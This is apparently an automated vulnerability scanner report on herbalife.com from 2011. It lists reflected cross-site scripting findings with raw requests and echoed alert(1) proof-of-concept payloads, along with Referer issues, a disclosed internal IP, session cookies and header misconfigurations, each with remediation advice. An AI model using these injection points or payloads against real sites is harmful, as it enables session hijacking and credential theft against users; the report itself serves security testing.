Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the ctl00%24ctl00%24body%24searchTerm request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b28c0"%3balert(1)//f1c93222efd9f82a3 was submitted in the ctl00%24ctl00%24body%24searchTerm parameter. This input was echoed as b28c0";alert(1)//f1c93222efd9f82a3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the sp_q request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cd8b3"%3balert(1)//ad36d8f7e5c was submitted in the sp_q parameter. This input was echoed as cd8b3";alert(1)//ad36d8f7e5c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /search?sp_q=cd8b3"%3balert(1)//ad36d8f7e5c HTTP/1.1 Host: www.herbalife.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; ev5=null%3A%20%27; forwardLocale=http://www.herbalife.com/; s_vi=[CS]v1|2690EDE6051D32A1-4000012A00129F22[CE]; s_sq=%5B%5BB%5D%5D; gpv_p11=HL%3ANA%3AUS%3ASearch; ASP.NET_SessionId=3oqdz3axdrblkc55ngn4va45;
Response
HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 14:23:32 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 38785
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ca98b"%3balert(1)//e814f8c5ec6 was submitted in the Referer HTTP header. This input was echoed as ca98b";alert(1)//e814f8c5ec6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET / HTTP/1.1 Host: www.herbalife.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?hl=en&q=ca98b"%3balert(1)//e814f8c5ec6 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASP.NET_SessionId=3oqdz3axdrblkc55ngn4va45; s_cc=true; s_vi=[CS]v1|2690EDE6051D32A1-4000012A00129F22[CE]; s_sq=hlherbalifecomprod%2Chlherbalifeglobalprod%3D%2526pid%253DHL%25253AGLOBAL%252520LANDING%252520PAGE-English%2526pidt%253D1%2526oid%253Djavascript%25253A%252520createCookie%252528%252527http%25253A//www.herbalife.com/%252527%252529%2526ot%253DA; forwardLocale=http://www.herbalife.com/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title> Herbalife - ...[SNIP]... <script type="text/javascript">
function docReady() {
if (readCookie("Paid") == "true") { return; }
var vref= "http://www.google.com/search?hl=en&q=ca98b";alert(1)//e814f8c5ec6"; if (!vref) { vref=document.referrer; } if (vref && vref.indexOf("?") > ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 83f90"%3balert(1)//8847c0a1ca1 was submitted in the Referer HTTP header. This input was echoed as 83f90";alert(1)//8847c0a1ca1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /es HTTP/1.1 Host: www.herbalife.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; ev5=null%3A%20%27; forwardLocale=http://www.herbalife.com/; s_vi=[CS]v1|2690EDE6051D32A1-4000012A00129F22[CE]; s_sq=%5B%5BB%5D%5D; gpv_p11=HL%3ANA%3AUS%3ASearch; ASP.NET_SessionId=3oqdz3axdrblkc55ngn4va45; Referer: http://www.google.com/search?hl=en&q=83f90"%3balert(1)//8847c0a1ca1
Response
HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 14:24:25 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 40828
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title> Herbalife - ...[SNIP]... <script type="text/javascript">
function docReady() {
if (readCookie("Paid") == "true") { return; }
var vref= "http://www.google.com/search?hl=en&q=83f90";alert(1)//8847c0a1ca1"; if (!vref) { vref=document.referrer; } if (vref && vref.indexOf("?") > ...[SNIP]...
The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.
Common explanations for Referer-dependent responses include:
Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defenses are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.
Issue remediation
The Referer header is not a robust foundation on which to build any security measures, such as access controls or defenses against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.
If the contents of responses is updated based on Referer data, then the same defenses against malicious input should be employed here as for any other kinds of user-supplied data.
Request 1
GET / HTTP/1.1 Host: www.herbalife.com Proxy-Connection: keep-alive Referer: http://www.herbalife.com/global Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASP.NET_SessionId=3oqdz3axdrblkc55ngn4va45; s_cc=true; s_vi=[CS]v1|2690EDE6051D32A1-4000012A00129F22[CE]; s_sq=hlherbalifecomprod%2Chlherbalifeglobalprod%3D%2526pid%253DHL%25253AGLOBAL%252520LANDING%252520PAGE-English%2526pidt%253D1%2526oid%253Djavascript%25253A%252520createCookie%252528%252527http%25253A//www.herbalife.com/%252527%252529%2526ot%253DA; forwardLocale=http://www.herbalife.com/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title> Herbalife - ...[SNIP]... <script type="text/javascript">
function docReady() {
if (readCookie("Paid") == "true") { return; }
var vref= "http://www.herbalife.com/global"; if (!vref) { vref=document.referrer; } if (vref && vref.indexOf("?") > -1) { document.cookie = "Paid=true; path=/"; return; }
if (window.location){ var qry = window.location.search; if (qry && qry.substring(1)) return; } if( readCookie("BLOCK_LEAD")) return;
if (!cookiesEn()) { return; }
var glp_region = readCookie("forwardLocale");
if (glp_region) {
if (!vref || ValidLocaleURL(glp_region, "http://www.herbalife.com")) { if (0) { Redir302(glp_region); return; } } } else {
var jGLPageCode = "http://www.herbalife.com/global"; if (jGLPageCode) { if (0) { Redir302(jGLPageCode); return; } } } }
docReady();
</script>
<a id="dref" href="#" style="display:none"></a>
<meta name="keywords" content="herbalife,weight loss,nutrition,business opportunity, make money, work from home,part time job" /><meta name="description" content="Herbalife is a premier nutrition and weight management company. Our products are sold exclusively by a network of 1.9 million independent Distributors around the world." /><link href='/Content/en-US/css/Herbalife/home.css' rel='stylesheet' type='text/css' /><style type="text/css"> .ctl00_ctl00_body_TopNav_0 { background-color:white;visibility:hidden;display:none;position:absolute;left:0px;top:0px; } .ctl00_ctl00_body_TopNav_1 { text-decoration:none; } .ctl00_ctl00_body_TopNav_2 { }
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title> Herbalife - ...[SNIP]... <script type="text/javascript">
function docReady() {
if (readCookie("Paid") == "true") { return; }
var vref= ""; if (!vref) { vref=document.referrer; } if (vref && vref.indexOf("?") > -1) { document.cookie = "Paid=true; path=/"; return; }
if (window.location){ var qry = window.location.search; if (qry && qry.substring(1)) return; } if( readCookie("BLOCK_LEAD")) return;
if (!cookiesEn()) { return; }
var glp_region = readCookie("forwardLocale");
if (glp_region) {
if (!vref || ValidLocaleURL(glp_region, "http://www.herbalife.com")) { if (1) { Redir302(glp_region); return; } } } else {
var jGLPageCode = "http://www.herbalife.com/global"; if (jGLPageCode) { if (1) { Redir302(jGLPageCode); return; } } } }
docReady();
</script>
<a id="dref" href="#" style="display:none"></a>
<meta name="keywords" content="herbalife,weight loss,nutrition,business opportunity, make money, work from home,part time job" /><meta name="description" content="Herbalife is a premier nutrition and weight management company. Our products are sold exclusively by a network of 1.9 million independent Distributors around the world." /><link href='/Content/en-US/css/Herbalife/home.css' rel='stylesheet' type='text/css' /><style type="text/css"> .ctl00_ctl00_body_TopNav_0 { background-color:white;visibility:hidden;display:none;position:absolute;left:0px;top:0px; } .ctl00_ctl00_body_TopNav_1 { text-decoration:none; } .ctl00_ctl00_body_TopNav_2 { }
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /search?sp_q=' HTTP/1.1 Host: www.herbalife.com Proxy-Connection: keep-alive Referer: http://www.herbalife.com/ Cache-Control: max-age=0 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASP.NET_SessionId=3oqdz3axdrblkc55ngn4va45; s_vi=[CS]v1|2690EDE6051D32A1-4000012A00129F22[CE]; forwardLocale=http://www.herbalife.com/; s_cc=true; s_sq=hlherbalifecomprod%2Chlherbalifeglobalprod%3D%2526pid%253DHL%25253ANA%25253AUS%25253AOfficial%252520Site%2526pidt%253D1%2526oid%253Dfunctiononclick%252528event%252529%25257Bjavascript%25253AreturnvalidateSearchEntry%252528%252529%25253B%25257D%2526oidt%253D2%2526ot%253DIMAGE
Response
HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 14:22:33 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 X-Compressed-By: HttpCompress Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 38029
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title> Herbalife - ...[SNIP]... <div id="ctl00_ctl00_body_panelSearch" onkeypress="javascript:return WebForm_FireDefaultButton(event, 'ctl00_ctl00_body_btnSearch')">
<a id="ctl00_ctl00_body_distributorLoginLink" href="http://www.myherbalife.com/">Distributor Login</a> ...[SNIP]... </a> <a href="http://www.discovergoodnutrition.com/" class="dropmenudiv_level2" target="_blank">Nutrition Blog</a> ...[SNIP]... </a> <a href="http://www.herbalifebios.com/" class="dropmenudiv_level2" target="_blank">Executive Bios</a> ...[SNIP]... <div align="left"><a target="_blank" href="http://www.la.bbb.org/Business-Report/Herbalife-International-of-America-Inc-20585"><img title="Click to verify BBB accreditation and to see a BBB report." border=0 src="/Content/Global/img/icons/bbbsealh2.gif" alt="Click to verify BBB accreditation and to see a BBB report." vspace="1 ...[SNIP]... <td><a href="http://www.dsa.org/ethics/code/" target="_blank"><img src="/Content/Global/img/layout/footer_dsa.jpg" border="0" style="padding-right:20px;_padding-right:0px;" /> ...[SNIP]... <td width="298" align="left" valign="middle" style="font-size:9px " class="printhide" >Herbalife is a Proud Member of the Direct Selling Association and a Signatory to the DSA <a href="http://www.dsa.org/ethics/code/" title="Code of Ethics">Code of Ethics</a> ...[SNIP]...
4. Email addresses disclosedpreviousnext There are 3 instances of this issue:
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
The following email address was disclosed in the response:
bdortch@hidaho.com
Request
GET /Content/Global/scripts/js/cookieLibrary.js HTTP/1.1 Host: www.herbalife.com Proxy-Connection: keep-alive Referer: http://www.herbalife.com/Content/en-us/html/Herbalife/business-opportunity/productleadgen_fragment-home.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASP.NET_SessionId=3oqdz3axdrblkc55ngn4va45; s_vi=[CS]v1|2690EDE6051D32A1-4000012A00129F22[CE]; forwardLocale=http://www.herbalife.com/; s_cc=true; s_sq=%5B%5BB%5D%5D
Response
HTTP/1.1 200 OK Content-Length: 7181 Content-Type: application/x-javascript Content-Location: http://www.herbalife.com/Content/Global/scripts/js/cookieLibrary.js Last-Modified: Fri, 19 Jun 2009 00:14:53 GMT Accept-Ranges: bytes ETag: "80fcbbf772f0c91:1622" Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Mon, 03 Jan 2011 14:22:23 GMT
// // Cookie Functions -- "Night of the Living Cookie" Version (25-Jul-96) // // Written by: Bill Dortch, hIdaho Design <bdortch@hidaho.com> // The following functions are released to the pu ...[SNIP]...
The following RFC 1918 IP address was disclosed in the response:
10.150.201.6
Issue background
RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.
Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.
Issue remediation
There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.
Request
GET /global HTTP/1.1 Host: www.herbalife.com Proxy-Connection: keep-alive Referer: http://www.herbalife.com/ Cache-Control: max-age=0 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASP.NET_SessionId=3oqdz3axdrblkc55ngn4va45
Response
HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 14:22:04 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 12237
<html><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Herbalife International</title><!--ls:begin[stylesheet]--><link href="/Content/Global/iwov-resources/fixed-layout/ ...[SNIP]... <script type="text/javascript">var ccode='US'; var ipc='174.121.222.18'; var ipc1=''; var ipc2='10.150.201.6';</script> ...[SNIP]...
The response contains multiple Content-type statements which are incompatible with one another. The following statements were received:
Content-Type: text/vnd.wap.wml; charset=utf-8
text/html; charset=utf-8
Issue background
If a web response specifies multiple incompatible content types, then the browser will usually analyse the response and attempt to determine the actual MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of multiple incompatible content type statements does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
Request
GET /contact-us HTTP/1.1 Host: www.herbalife.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; ev5=null%3A%20%27; forwardLocale=http://www.herbalife.com/; s_vi=[CS]v1|2690EDE6051D32A1-4000012A00129F22[CE]; s_sq=%5B%5BB%5D%5D; gpv_p11=HL%3ANA%3AUS%3ASearch; ASP.NET_SessionId=3oqdz3axdrblkc55ngn4va45;
Response
HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 14:23:07 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Last-Modified: Mon, 03 Jan 2011 02:02:52 GMT ETag: "DPt6752hFfLJ/ySNPaIdSFAqEzs=" Vary: * Content-Type: text/vnd.wap.wml; charset=utf-8 Content-Length: 30751
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
Request
GET /Content/en-us/html/Herbalife/business-opportunity/productleadgen_fragment-home.html HTTP/1.1 Host: www.herbalife.com Proxy-Connection: keep-alive Referer: http://www.herbalife.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASP.NET_SessionId=3oqdz3axdrblkc55ngn4va45; s_vi=[CS]v1|2690EDE6051D32A1-4000012A00129F22[CE]; forwardLocale=http://www.herbalife.com/; s_cc=true; s_sq=%5B%5BB%5D%5D
Response
HTTP/1.1 200 OK Content-Length: 590 Content-Type: text/html Content-Location: http://www.herbalife.com/Content/en-us/html/Herbalife/business-opportunity/productleadgen_fragment-home.html Last-Modified: Thu, 18 Nov 2010 20:23:25 GMT Accept-Ranges: bytes ETag: "80dcd1735e87cb1:1622" Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Mon, 03 Jan 2011 14:22:21 GMT